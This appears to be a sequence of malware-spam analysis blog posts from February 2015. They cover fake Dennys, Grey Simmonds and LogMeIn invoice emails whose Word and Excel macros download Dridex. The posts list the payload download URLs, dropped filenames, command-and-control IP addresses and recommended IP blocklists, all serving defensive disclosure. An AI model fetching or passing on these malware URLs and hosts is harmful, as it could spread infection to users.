OrgTechEmail:  rusdi.bin.abu.bakar@gmail.com
OrgTechRef:    http://whois.arin.net/rest/poc/BRBA-ARIN

Note that this isn't saying that this "Rusdi bin abu Bakar" is sending the email, but a customer of theirs is.

Nothing about this job offer is legitimate. It does not come from who it appears to come from and should be considered to be a scam, and avoided.

Malware spam: "Dennys Invoice INV650988" / "accounts@dennys.co.uk"

This fake invoice email is not from Dennys but is a simple forgery with a malicious attachment. Dennys are not sending the spam, and their systems have not been compromised in any way.

From:    accounts@dennys.co.uk
Date:    27 February 2015 at 09:14
Subject:    Dennys Invoice INV650988

To view the attached document, you will need the Microsoft Word installed on your system.

So far I have only seen a single sample, with an attachment INV650988.doc which has a VirusTotal detection rate of exactly zero. This contains this malicious macro [pastebin] which downloads another component from the following location:

http://hew.homepage.t-online.de/js/bin.exe

This is saved as %TEMP%\324235235.exe and has a VirusTotal detection rate of 1/57.

According to the Malwr report, this executable then goes on and downloads another version of itself and a config file from:

http://apartmentprofile.su/conlib.php
http://paczuje.cba.pl/java/bin.exe

It drops several files, KB2896~1.EXE [VT 3/57], edg2.exe [VT 3/57] and a Dridex DLL which is much more widely detected (and we saw this same DLL yesterday). (If you have a Malwr account you can download a copy of everthing from here)

Between the Malwr and VirusTotal analyses, we see attempts to communicate with the following IPs:

198.52.200.15 (Centarra Networks, US)
95.211.144.65 (Leaseweb, Netherlands)
195.114.0.64 (SuperHost.pl, Poland)
92.63.87.13 (MWTV, Latvia)
78.140.164.160 (Webazilla, US)
59.97.137.171 (Broadband Multiplay Project, India)
104.232.32.119 (Net 3, US)

Some of these are shared hosting, I recommend for maximum protection that you apply the following blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
198.52.200.15
78.140.164.160
59.97.137.171
104.232.32.119

Malware spam: "Chris Christou [chris.christou@greysimmonds.co.uk]" / "Copy invoices"

This fake invoice spam comes with a malicious attachment:

From:    Chris Christou [chris.christou@greysimmonds.co.uk]
Date:    26 February 2015 at 10:45
Subject:    Copy invoices

Hello ,

Please find copy invoices attached as per our telephone conversation.

Kind regards,

Chris

Chris Christou
Credit Control
Grey Simmonds
Cranes Point
Gardiners Lane South
Basildon
Essex SS14 3AP
Tel:  0845 130 9070
Fax: 0845 370 9071
Email:  chris.christou@greysimmonds.co.uk
Web: www.greysimmonds.com

P  “Think before you Print” - Please consider the environment before printing this e-mail

It does NOT come from Grey Simmons, nor have their systems been compromised in any way. Instead, this is a simple forgery.

I have only seen one sample so far, with an attachment IGM135809.doc [detection rate 0/57] which contains this malicious macro [pastebin] which downloads a further component from:

http://xomma.net/js/bin.exe

This is saved as %TEMP%\GVhjJJVJH.exe and has a VirusTotal detection rate of 4/56. Automated analysis tools [1] [2] show it attempting to phone home to the following IPs:

92.63.87.13 (MWTV, Latvia)
78.140.164.160 (Webazilla, US)
86.104.134.156 (One Telecom, Moldova)
104.232.32.119 (Net 3, US)

This Malwr report shows dropped files with an MD5 of 590fc032ac747d970eb8818671f2bbd3 [VT 3/57] and 1997b0031ad702c8347267db0ae65539 [VT 4/57].

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
78.140.164.160
86.104.134.156
104.232.32.119

Malware spam: "Your LogMeIn Pro payment has been processed!"

This fake financial email does not come from LogMeIn, instead it has a malicious attachment:

From:    LogMeIn.com [no_reply@logmein.com]
Date:    25 February 2015 at 08:52
Subject:    Your LogMeIn Pro payment has been processed!

Dear client,

Thank you for purchasing our yearly plan for LogMeIn Pro on 25 computers.
Your credit card has been successfully charged.

Date : 25/2/2015
Amount : $999 ( you saved $749.75)



The transaction details can be found in the attached receipt.
Your computers will be automatically upgraded the next time you sign in.


Thank you for choosing LogMeIn!

Attached is a malicious Excel document called logmein_pro_receipt.xls with a VirusTotal detection rate of 0/56. Usually in a spam run like this there are several different versions of the document but so far I have only seen one, containing this malicious macro. The macro downloads a file from:

http://junidesign.de/js/bin.exe

This is saved as %TEMP%\GHjkdfg.exe and has a VirusTotal detection rate of 3/57. Automated analysis tools [1] [2] [3] show this calling home to the following IPs:

92.63.87.13 (MTWV, Latvia)
86.104.134.156 (One Telecom, Moldova)
217.12.203.34 (ITL, Bulgaria)
108.61.165.19 (Choopa LLC, Netherlands)
5.196.241.196 (OVH, Ireland)
66.110.179.66 (Microtech Tel, US)
202.44.54.5 (World Internetwork Corporation, Thailand)
95.163.121.179 (Digital Networks aka DINETHOSTING, Russia)
59.97.137.171 (Broadband Multiplay, India)
78.140.164.160 (Webazilla, US)
107.181.174.104 (Colo at 55, US / UA Servers, Ukraine)
I outlined some of the problems with MVTW in this post. The Malwr report shows that among other activities, this drops an executable that seems to be another version of itself [VT 3/57] and a malicious DLL which is probably a Dridex component [VT 4/57].

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
86.104.134.156
217.12.203.34
108.61.165.19
5.196.241.196
66.110.179.66
202.44.54.5
95.163.121.179
59.97.137.171
78.140.164.160
107.181.174.104

UPDATE:  a different version of the attachment [VT] uses this macro to download from:

http://jacekhondel.w.interia.pl/js/bin.exe

The payload is identical to the other variant.